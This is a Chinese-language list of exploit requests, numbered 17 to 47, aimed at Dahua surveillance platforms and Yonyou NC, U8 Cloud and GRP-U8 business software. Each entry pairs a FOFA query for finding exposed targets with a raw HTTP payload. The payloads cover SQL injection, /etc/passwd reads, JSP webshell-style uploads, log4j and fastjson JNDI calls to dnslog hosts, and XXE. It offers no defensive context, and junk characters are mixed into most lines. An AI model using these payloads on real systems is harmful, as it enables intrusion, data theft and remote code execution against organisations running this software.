/ w) T. X7 J# }17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
) N4 W9 @: L9 M. aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
  r" W; _& ?, P/ r3 k; vContent-Length: 345
  R3 F8 i9 D9 [9 ]+ y/ b( M# w; c  Z. ^Accept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
0 ?4 u' S, _+ A7 K, f<s11:Body>
; W0 G0 W* u% S' v' r( \" V    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
, F  ~# d& @2 n. g( b      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
, z9 c  b; v, k$ {- E3 }      </netMarkings>
7 Y/ j0 C* l$ C% v    </ns1:deleteBulletin>
( \" d$ D0 W! X0 h7 e  F. K7 u+ \3 I  </s11:Body>
</s11:Envelope>
& N1 o; Q# _4 l- Q: Q+ A

8 b3 \1 V0 f' ^) E% ^* T; t, R* b18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
. H, W9 Q7 Z7 B/ {) fGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
) Z+ F* v) ^# C2 @+ q7 }3 pHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 c! Q1 c) Z( \* A7 GAccept-Encoding: gzip, deflate
5 e, O) y: ?8 B9 n- L  M) YAccept: */*
Connection: keep-alive
% _6 J9 B2 \5 l. L7 L3 A, L
7 X- q- p' m3 F: {; S9 ?
; }* Q! L) r: I- X. ~) p) }
0 R1 L$ Z' o3 y9 h19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
& X; ^9 k5 \( p* Y& c: Y2 K+ e' zGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
' N! P$ M7 w$ V6 N1 _* o) l9 L
& D, i$ I  M$ m6 I5 @# H
20. 大华ICC智能物联综合管理平台任意文件读取
5 m5 f5 s0 z6 a+ f8 l* H3 vFOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
; O6 N9 u+ h- d) JHost: x.x.x.x
4 v/ ~4 S/ Y5 u, r( }/ o2 z2 \) [User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 A; j2 _! A' O, n0 N  N( YConnection: close
Accept: */*
# Z7 j- P$ {+ T5 Y& Q: pAccept-Language: en
5 r2 o1 e' S: b6 G1 M, \Accept-Encoding: gzip

6 U9 f' S6 N# j; V1 D: G
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
/ }- J& X6 [- V  LPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
! a" c& g  T* {; T% z! U5 g* eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ ]- q; c! R  b" b, NContent-Length: 161
7 n& @9 A6 E2 Q- t0 u* @Accept-Encoding: gzip
- Q; ^0 ?' [) y3 l( }3 g. X- WConnection: close
5 P5 s; f. B/ f. u% ?6 o: eContent-Type: application/json;charset=utf-8

{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
# x: y7 I' q9 x! O    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
2 B* G4 t; A8 r! k/ M  }""
* }4 x$ d# `$ S5 H- w}

. @" j$ @- ~5 B  \; [1 K3 s" B; T% b
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
1 A8 c$ \0 c2 E# J" v% F+ i7 eFOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
  v8 ?5 B9 r1 Z5 y4 t! AHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
8 y+ b) z  O8 ?. dContent-Type: application/json;charset=utf-8
  {* V7 K0 ~2 I' p  K9 Q
{
"loginName":"${jndi:ldap://dnslog}"
" ~- T, V3 r. S/ ?, }9 U}
3 e. U3 @: t- K/ w1 q

1 W. m$ I5 d" Z1 P( \6 z# |: S
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
$ _" w: S! d8 a  eFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
( @$ \' B/ \9 k) G9 S  h* fHost: your-ip
2 M! l3 [' F& `6 @4 R. c+ E4 d5 PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 R0 [6 k3 [4 s4 P; k  l6 q) NContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
8 X$ ]9 S$ N2 k5 j' I# u) Y+ v( q2 ^2 |Connection: close

{
    "a":{
8 X& \# i2 o, y3 c        "@type":"com.alibaba.fastjson.JSONObject",
1 o: M2 ~! }7 s/ ?. T) W       {"@type":"java.net.URL","val":"http://DNSLOG"}
+ M) G' u3 }. h% f4 q/ m        }""
}

5 W: q6 }* K5 g. V
24. 用友NC 6.5 accept.jsp任意文件上传
8 T2 O0 J7 T  P! B, }, ~) F) w* XFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
' }+ o0 x+ H) P) BHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
3 B% C/ z/ E9 a6 D3 U; jAccept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

- E+ h0 w, p) j-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
6 {5 Z1 o% ]  Y) V) ?Content-Type: text/plain
9 X" N* A8 e6 U1 f0 T& U
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
+ |: d' X9 L7 s2 B- FContent-Disposition: form-data; name="fname"
7 b$ K3 z1 D. ]3 u6 l! b
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

: ^& C+ h: d7 H
25. 用友NC registerServlet JNDI 远程代码执行
4 k4 l) _5 H* R7 N, MFOFA：app="用友-UFIDA-NC"
+ I! [3 W. t$ D  R/ a8 U2 {POST /portal/registerServlet HTTP/1.1
( Z( b) m: @; R8 ]# x( S4 ~0 O: j! hHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
* T. F% k* \( [7 r4 ]4 z5 zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
  A4 Z. Y9 K* ^; v
$ J5 |" z% N, Y6 b' V2 rtype=1&dsname=ldap://dnslog
$ C& k$ B' s0 _9 z
& P0 f& |. Z; n: }/ [* m
: _) r! E3 `5 t9 A  O- |% s' Y6 U6 `6 e
$ A6 `6 V' [4 x, a4 }26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
% P6 `& r+ q- v. V- j5 _GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
/ ^/ u7 L4 Y' p) {5 L7 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
& m  A& A  u/ I& RAccept-Encoding: gzip, deflate
; @, h; c5 v! e( ?8 `2 RAccept: */*
Connection: keep-alive

5 \0 Y7 R5 t) R( Z; w
5 G6 F( L- U. j) f" V" Q27. 用友 NC showcontent SQL注入
! f: X, `0 a% x' mFOFA：icon_hash="1085941792"
5 a- d3 T; }* H- e$ o( JGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
# k, R% h: ?5 W. I6 A/ B6 zHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
6 c; Z" A6 p5 ?3 t$ u, qConnection: close
Content-Type: text/xml; charset=utf-8
* W; |# Z" F: P, {7 s# o, h8 W
! ^& L, p+ I' E& ^
28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
# h8 P" V$ K. y  y5 {8 vPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
1 Q( s. M* J. p/ f/ SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
) p: C. g4 Z2 i2 Z4 Y- I3 C( aConnection: close
: E+ }3 C- \+ q% tContent-Length: 268
9 U' j5 Y" ]; {/ x% rContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
0 T7 E/ A; A5 ~' T; {( `& f
9 U" j. R9 ^7 T7 V7 }! u------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
# o* A; b( H- g8 YContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

) Y3 u* d! ^8 M<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

. S4 e" x9 H2 s# z5 R7 W  {
/uapim/static/pages/nc/head.jsp
$ a& ]! K" z( \
2 d, @, v& i" K4 G1 j  t) ?29. 用友NC down/bill SQL注入
+ A" H2 x; G1 S1 ZFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
, Z. S1 A' L$ [1 q* c+ A" K3 CGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
5 K% ?9 r+ x" THost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 d: \  N+ _- S' fContent-Type: application/x-www-form-urlencoded
0 K) o( O7 b6 k: oAccept-Encoding: gzip, deflate
Accept: */*
7 a# d/ l, v* R/ ]Connection: keep-alive
# @  }) @5 e4 u  Y# q

+ q  o3 g9 q9 w" B- {. ~30. 用友NC importPml SQL注入
; y- Y% p+ P' @0 r9 i$ w2 z1 DFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
) Y  l8 j. F3 u+ ~Host: your-ip
" k# u0 Y  ^) o# c  A- _8 DContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
( y" J4 l/ R0 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
& _: u0 f/ M" R! d: c0 m' g
4 f' Z$ {& z/ @4 h------WebKitFormBoundaryH970hbttBhoCyj9V
1 R- T  M5 C3 j3 _# q* E- d6 dContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
# s& }4 Y6 K2 J$ ^3 hContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
0 B' k. h- I$ V3 _: N% J8 Z; ~1 ~! s$ h
" R8 T  {+ f% I3 P  j
0 |  b0 q4 C7 f: E31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
# s" A  w* p! a  ]$ jHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
/ G6 e  u/ `& a5 H( ^

7 Q4 \  P; X0 R32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
; a. ~% }& m. G3 MGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
. \  m$ ?! z; cHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, w% J! e, |) P; Y( JContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


33. 用友NC downTax/download SQL注入
6 u# \0 x0 b1 R- ?( }6 e- {3 `version：NC6.5FOFA：app="用友-UFIDA-NC"
9 g* u2 |& A4 T5 LGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
2 x5 P- V. p# Y0 X* d8 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& N- B1 J7 k8 i( s- ~9 T; @Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
; E& F, j6 n4 V6 t) q( T, W% d) l/ }Accept: */*
5 L0 p, O! P/ p* K, n/ F7 h2 ?( OConnection: keep-alive
- h+ E9 D5 b5 {9 s  j$ o) x( P
0 A; M& o  h% n4 Y2 T; g3 I7 _
34. 用友NC warningDetailInfo接口SQL注入
8 l2 G9 W$ C8 R3 T, GFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
8 }# w% X7 g1 P% L9 G$ KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 R: w& V9 g7 N3 |Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
8 U  D8 m. J; Y- F5 J# HAccept: */*
Connection: keep-alive
, T$ q# X: ]' y8 d& r, |

( ]) |3 c" H7 U6 S35. 用友NC-Cloud importhttpscer任意文件上传
3 e- y" F3 m8 m4 A' U7 }FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
) |6 S0 M: R) qUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
$ @( N* `. |  \) w2 K5 {% XAccept: */*
Connection: close
; F: \- X/ G9 N6 m  A8 Q! o; yaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
  T# M+ G; A/ Z# V; AContent-Length: 190
6 P& \1 u5 s2 s% S, iContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

/ b$ b8 @& z, e) W--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
+ h+ Y7 ~* l- y& ]
0 L3 |/ S3 X# _& U$ J4 L$ U<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--


36. 用友NC-Cloud soapFormat XXE
. Q* d, x! P$ @* a3 ]FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
. @1 V' h$ O# oHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
6 A3 R! e' l, t" M1 O9 q/ Z. ^- T, SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% u" \/ z) P2 Y: j) U% L4 J; N; VAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
. H6 |7 K( u; B2 K( v7 y$ S7 MContent-Type: application/x-www-form-urlencoded
9 w0 e4 G1 }. B5 Y0 pUpgrade-Insecure-Requests: 1
% l. b- y/ \8 v# t9 R
: E2 ^/ Z$ G, }' k( j3 ]) pmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

* q2 Q- a4 |5 G! Z7 R( D* {# k
" A4 t! l# a- O( X37. 用友NC-Cloud IUpdateService XXE
! N. f, C9 [6 n6 s# x! r* pFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
3 p8 T4 c' @, UPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
- ?+ Z, d1 A& Y# {- g! u" I" YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
5 c3 _( k0 R+ ^' C& ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
- ~% {+ I/ g" K0 W" \Connection: close
Content-Type: text/xml;charset=UTF-8
0 \3 L* T+ z: n  Q# L" S# N8 KSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
+ [2 V0 J5 }1 e
# p6 p+ G' k6 c7 B<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
& M6 Y- Z2 b8 b<soapenv:Body>
$ U6 B& b6 D2 \- [<iup:getResult>
<!--type: string-->
: @6 e" J8 D7 t  t% H; H<iup:string><![CDATA[
) B; n$ g$ p: d: I& B5 O" p1 e<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
) _- ?& S+ c0 ?* S0 {/ V</soapenv:Body>
</soapenv:Envelope>
& y) C5 K/ J6 j7 t


& U& \0 R: P1 K5 |5 j* h1 p38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
; n& u1 Y4 q/ @1 c" T" ~! WPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
2 F& r  `3 }, H+ z/ e$ CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
5 i8 [0 I3 z: W" D* H3 q/ m: g& `Content-Length: 260
( }# R, a: Q/ V2 s/ Y. r0 c& v- MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
" o$ d! h: {6 b3 J' i1 vContent-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

( @; U# G+ ^: L1 x1 ]% t! c
. z" K1 a0 s6 P" A, D. g) [4 i& Q39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
. u, p- e/ A' P6 v; XAccept: */*
; w4 B& y8 E; F8 C7 yAccept-Language: en
Content-Type: application/x-www-form-urlencoded
; @. ?. {% j) p  F9 C6 H9 R5 \X-Forwarded-For: 127.0.0.1
! P& D' {- Z" o4 x5 Y5 wAccept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
$ \# v5 |7 s- @$ T/ u, e0 p

40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
  P" |2 D! R" j6 gPOST /service/XChangeServlet HTTP/1.1
( u& X. X/ ?8 D" v0 @# x. jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
* Z- W. P  {: k1 o, M, AConnection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
2 z/ N" _5 a- [2 s0 B8 C
. F9 t/ c, ]" s# f% t1 _
5 i4 U( p, w' F" F5 m41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
: [. W0 Y- P2 f+ W- tFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
# x. |5 R2 v# ^4 d" O5 l* w5 ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( c$ G0 \: ~3 _1 V: aContent-Type: application/json
Accept-Encoding: gzip
) ^2 A* b' J" L: l4 V9 g* y( OConnection: close
+ C) G3 j7 G( i) @7 u$ q/ x: ^8 k. ]) w

42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
( ~1 L" U% M) f  m! nPOST /u8qx/SmartUpload01.jsp HTTP/1.1
% O; r, X% l$ O/ K5 v/ \Host: x.x.x.x
# o% L$ h  s# nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
3 r% y) W9 N! [  ~% f: w4 i6 YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

2 ]/ J7 m3 ^! yPAYLOAD


http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
+ M( d/ K8 @# U4 T% r. o8 o
; P$ Q) O) ~) N$ _$ n1 ]. R& N! g43. 用友GRP-U8 userInfoWeb SQL注入致RCE
* E+ [! a! Q; Q& j/ U. y7 oFOFA：app="用友-GRP-U8"
& J) x6 q# Y3 f5 V+ J' YPOST /services/userInfoWeb HTTP/1.1
1 y1 j6 s! A4 k7 CHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
! M1 _! }4 u( _  s# eAccept-Language: zh-CN,zh;q=0.9
3 v, j1 o" b! AConnection: close
# v6 u# F  t: kSOAPAction:
Content-Type: text/xml;charset=UTF-8

8 B/ S  I& f1 O' Y6 Z<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
% n( N" Y4 @. e8 r3 |7 {   <soapenv:Header/>
   <soapenv:Body>
  H9 A' M, D! Q" j7 n" x      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
! ~! R" }" @7 o         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>

, g, ]+ q9 J) Q' ^' x+ C4 ]; j7 u
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
7 b9 f# a5 ]/ b( V1 i* GFOFA:app="用友-GRP-U8"
3 x4 b8 W7 ~" Q7 OGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
; D# z! r& Q) `% {/ Q. ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 W% L4 u. Y, ^$ q2 O; j/ fAccept-Encoding: gzip, deflate
2 O& u5 {% d3 p* N& T" v0 GAccept-Language: zh-CN,zh;q=0.9
$ m% z: e( |. @0 g; n4 dConnection: close
* L2 a9 L  `% v
" G5 o$ e5 d# p! l
/ E0 m! ]9 _  S# P4 M45. 用友GRP-U8 ufgovbank XXE
  d7 |7 \' _& w5 R* J1 SFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
/ C2 c2 q5 ^  q8 I0 J6 s" ^9 @, pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
3 G8 A% q( {& s& c3 U4 u
reqData=<?xml version="1.0"?>
4 V. ^1 a) ^$ t$ S0 U# o' P, d! _<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

5 h2 ?' P  V  M/ ?8 ?% ^" o* ]
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
& l9 B$ E+ n+ [GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, h/ b% ]; L/ d' w% W5 N* SAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
7 ?* G) t# M) `6 Z2 E& h5 u& X

4 z" [! v. Q" j47. 用友GRP A++Cloud 政府财务云 任意文件读取
- l$ j3 V# r# T3 wFOFA：body="/pf/portal/login/css/fonts/style.css"
+ k' T4 c/ ~, G  S6 |( U5 f0 V/ v; g6 XGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
